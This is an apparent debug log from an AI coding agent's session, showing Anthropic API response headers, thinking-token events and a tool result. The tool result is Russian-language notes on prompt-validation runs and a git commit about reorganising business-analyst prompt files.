\"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:21.104Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:21.106Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:21.112Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:21.120Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.125Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:21.130Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:21.159Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:21.161Z] [STDOUT]     \"cf-ray\": \"a4296577ed5301ff-CDG\",\n[2026-09-29T07:50:21.164Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:50:21.169Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:21.173Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:21.176Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:21.180Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:50:21 GMT\",\n[2026-09-29T07:50:21.183Z] [STDOUT]     \"request-id\": \"req_011CfXN8XcNztY1sqASi2XJa\",\n[2026-09-29T07:50:21.186Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:50:21.189Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:21.192Z] [STDOUT]     traceresponse: \"00-e2da219a51b1aff4bccff1956d225e95-300f2a2c7d730b5e-01\",\n[2026-09-29T07:50:21.196Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:21.199Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:50:21.203Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:21.209Z] [STDOUT]   },\n[2026-09-29T07:50:21.215Z] [STDOUT]   durationMs: 912,\n[2026-09-29T07:50:21.218Z] [STDOUT] }\n[2026-09-29T07:50:21.222Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:50:21.226Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:50:21 GMT\",\n[2026-09-29T07:50:21.228Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:50:21.231Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:50:21.235Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:50:21.239Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:50:21.242Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:50:21.247Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:50:21.250Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:50:21.256Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:50:21.261Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:50:21.264Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:50:21.268Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:50:21.270Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:50:21.272Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.39\",\n[2026-09-29T07:50:21.278Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:50:21.283Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:50:21.286Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.291Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:50:21.296Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:50:21.299Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:50:21.302Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:50:21.305Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:50:21.311Z] [STDOUT]   \"request-id\": \"req_011CfXN8XcNztY1sqASi2XJa\",\n[2026-09-29T07:50:21.319Z] [STDOUT]   \"traceresponse\": \"00-e2da219a51b1aff4bccff1956d225e95-300f2a2c7d730b5e-01\",\n[2026-09-29T07:50:21.325Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:50:21.333Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:50:21.341Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:50:21.351Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:50:21.364Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:50:21.367Z] [STDOUT]   \"cf-ray\": \"a4296577ed5301ff-CDG\",\n[2026-09-29T07:50:21.371Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:50:21.378Z] [STDOUT] [log_7f649e] response parsed {\n[2026-09-29T07:50:21.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:50:21.396Z] [STDOUT]   status: 200,\n[2026-09-29T07:50:21.434Z] [STDOUT]   body: X {\n[2026-09-29T07:50:21.460Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:50:21.477Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:50:21.490Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:50:21.498Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:50:21.501Z] [STDOUT]     },\n[2026-09-29T07:50:21.504Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:50:21.507Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:50:21.515Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:50:21.521Z] [STDOUT]   },\n[2026-09-29T07:50:21.525Z] [STDOUT]   durationMs: 914,\n[2026-09-29T07:50:21.529Z] [STDOUT] }\n[2026-09-29T07:50:21.580Z] [INFO] {\n[2026-09-29T07:50:21.580Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:50:21.580Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:21.580Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:21.580Z] [INFO]   \"uuid\": \"d0bf1034-68ad-44b4-ae20-7901c8d04c97\"\n[2026-09-29T07:50:21.580Z] [INFO] }\n[2026-09-29T07:50:22.652Z] [INFO] {\n[2026-09-29T07:50:22.652Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:50:22.652Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:22.652Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:22.652Z] [INFO]   \"uuid\": \"0dfadd37-b5e3-41b0-8ed4-5963dd5fb7ed\"\n[2026-09-29T07:50:22.652Z] [INFO] }\n[2026-09-29T07:50:23.866Z] [INFO] {\n[2026-09-29T07:50:23.866Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:50:23.866Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:23.866Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:23.866Z] [INFO]   \"uuid\": \"c385a424-18b2-4219-b411-fffe0f3b3c3c\"\n[2026-09-29T07:50:23.866Z] [INFO] }\n[2026-09-29T07:50:27.162Z] [INFO] {\n[2026-09-29T07:50:27.162Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"estimated_tokens\": 470,\n[2026-09-29T07:50:27.162Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:50:27.162Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:27.162Z] [INFO]   \"uuid\": \"1f66cd29-a030-4803-b8ae-8b4d0186f73d\"\n[2026-09-29T07:50:27.162Z] [INFO] }\n[2026-09-29T07:50:27.178Z] [INFO] {\n[2026-09-29T07:50:27.178Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:50:27.178Z] [INFO]   \"message\": {\n[2026-09-29T07:50:27.178Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"id\": \"msg_011CfXN8YEaWVui23n68jHiS\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:50:27.178Z] [INFO]     \"content\": [\n[2026-09-29T07:50:27.178Z] [INFO]       {\n[2026-09-29T07:50:27.178Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:50:27.178Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:50:27.178Z] [INFO]         \"signature\": \"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\"\n[2026-09-29T07:50:27.178Z] [INFO]       }\n[2026-09-29T07:50:27.178Z] [INFO]     ],\n[2026-09-29T07:50:27.178Z] [INFO]     \"container\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:50:27.178Z] [INFO]     \"usage\": {\n[2026-09-29T07:50:27.178Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_creation_input_tokens\": 7379,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_read_input_tokens\": 83909,\n[2026-09-29T07:50:27.178Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:50:27.178Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:50:27.178Z] [INFO]         \"ephemeral_1h_input_tokens\": 7379\n[2026-09-29T07:50:27.178Z] [INFO]       },\n[2026-09-29T07:50:27.178Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:50:27.178Z] [INFO]       \"service_tier\": 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600000,\n[2026-09-29T07:50:30.856Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:50:30.862Z] [STDOUT]       aborted: false,\n[2026-09-29T07:50:30.867Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:50:30.872Z] [STDOUT]       onabort: null,\n[2026-09-29T07:50:30.876Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:50:30.881Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:50:30.891Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:50:30.895Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:50:30.898Z] [STDOUT]     },\n[2026-09-29T07:50:30.900Z] [STDOUT]     stream: true,\n[2026-09-29T07:50:30.902Z] [STDOUT]   },\n[2026-09-29T07:50:30.904Z] [STDOUT]   headers: {\n[2026-09-29T07:50:30.907Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:50:30.910Z] [STDOUT]     \"anthropic-beta\": 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8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `S-SCENARIO` | \u043d\u0435\u0442 |\\n| \u0422\u0430\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0438 \u043e\u043f\u043b\u0430\u0442\u0430 | \u00ab\u041f\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0441\u0447\u0435\u0442\u00bb, \u00ab\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0439 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u00bb, \u00ab\u0420\u0435\u043a\u0432\u0438\u0437\u0438\u0442\u044b\u00bb | `S-LIMITS` \u043f\u0440\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0438, \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u0410\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f | \u00ab1.\u00bb, \u00ab2.\u00bb, \u00ab3.1.\u00bb \u0432 `sip-trunk` | \u0448\u0443\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430 PDF, \u043d\u0435 \u0440\u0430\u0437\u0434\u0435\u043b | \u043d\u0435\u0442 |\\n\\n\u041d\u0438 \u043e\u0434\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 \u043d\u0435 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043b\u0430 \u0437\u0430\u0432\u0435\u0441\u0442\u0438 \u0441\u043b\u043e\u0442, \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043d\u0435\u0442 \u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u0435 \u0438\u0437 14\\n\u0441\u043b\u043e\u0442\u043e\u0432. \u042d\u0442\u043e \u043e\u0442\u0432\u0435\u0442 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u00ab\u043d\u0435 \u043f\u0440\u0438\u0434\u0451\u0442\u0441\u044f \u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043b\u043e\u0442 \u043f\u043e\u0434\\n\u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0438\u0445\u00bb: \u043d\u0430 860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u2014 \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c.\\n\\ncommit d8a47597ed9f0301e03086e7c14cbd35205b01d1\\nAuthor: konard \\nDate:   Thu Jun 11 08:44:14 2026 +0000\\n\\n    refactor: split BA prompts draft into 23 standardized files (#56)\\n    \\n    Migrate \\\"prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md\\\" into 23 separate prompt\\n    files using the [domain]-[operation]-[mode].md naming scheme.\\nexperiment-1027-analysis.md\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:50:35.285Z] [INFO]         \"is_error\": false\n[2026-09-29T07:50:35.285Z] [INFO]       }\n[2026-09-29T07:50:35.285Z] [INFO]     ]\n[2026-09-29T07:50:35.285Z] [INFO]   },\n[2026-09-29T07:50:35.285Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:50:35.285Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"uuid\": \"431a3775-2744-4eac-8dd9-486badcdfdc6\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"timestamp\": \"2026-09-29T07:50:35.274Z\",\n[2026-09-29T07:50:35.285Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:50:35.285Z] [INFO]     \"stdout\": \"**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a:** [RUN-0018](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs/2026/RUN-0018),\\n\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u043f\u043e \u0437\u0430\u0434\u0430\u0447\u0435 1079 \u00ab\u043f\u043e\u0438\u0441\u043a \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u00bb, \u043c\u043e\u0434\u0435\u043b\u044c\\n`qwen3.7-plus`, 8 \u0448\u0430\u0433\u043e\u0432.\\n\\n**\u0427\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e.** \u041f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442\\n[`fr-validation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-validation-stepwise.md)\\n\u0443\u0436\u0435 \u0443\u0441\u0442\u0440\u043e\u0435\u043d \u043a\u0430\u043a \u043d\u0430\u0432\u044b\u043a: \u0432\u043e\u0441\u0435\u043c\u044c \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 \u2014\\n\u0430\u0443\u0434\u0438\u0442, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u0432, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0440\u043e\u0442\u0438\u0432\u043e\u0440\u0435\u0447\u0438\u0439, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\\n\u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438, \u0432\u044b\u0447\u0438\u0442\u043a\u0430, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439. \u042d\u0442\u043e \u0434\u0435-\u0444\u0430\u043a\u0442\u043e \u0446\u0435\u043f\u043e\u0447\u043a\u0430 `G-self`.\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442** (\u043f\u043e\u043b\u0435 `metrics` \u043f\u0440\u043e\u0433\u043e\u043d\u0430): `episodes: 8`,\\n`ba_edits: 6`, `hallucinations: 8`, **`hallucinations_shipped: 1`**,\\n`success_rate: 0.63`, \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `works-with-edits`. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430:\\n\u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n\\n| \u041c\u0435\u0442\u043e\u0434\u044b \u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f API | \u00ab\u0418\u043d\u0438\u0446\u0438\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u0430\u00bb, \u00ab\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e \u043d\u0430\u0436\u0430\u0442\u0438\u044f\u0445 DTMF \u043a\u043b\u0430\u0432\u0438\u0448\u00bb | `S-INTEGRATION`, \u0435\u0441\u043b\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u0445 \u043c\u0435\u043d\u044f\u0435\u0442; \u0438\u043d\u0430\u0447\u0435 `S-SCOPE` | \u043d\u0435\u0442 |\\n| \u041e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433 \u0438 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 | \u00ab\u0411\u043b\u043e\u043a 3. \u0417\u0432\u043e\u043d\u043a\u0438\u00bb, \u00ab\u0428\u0430\u0433\u0438 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430\u00bb, \u00ab\u0417\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f\u00bb | `S-SCOPE`; \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u0445 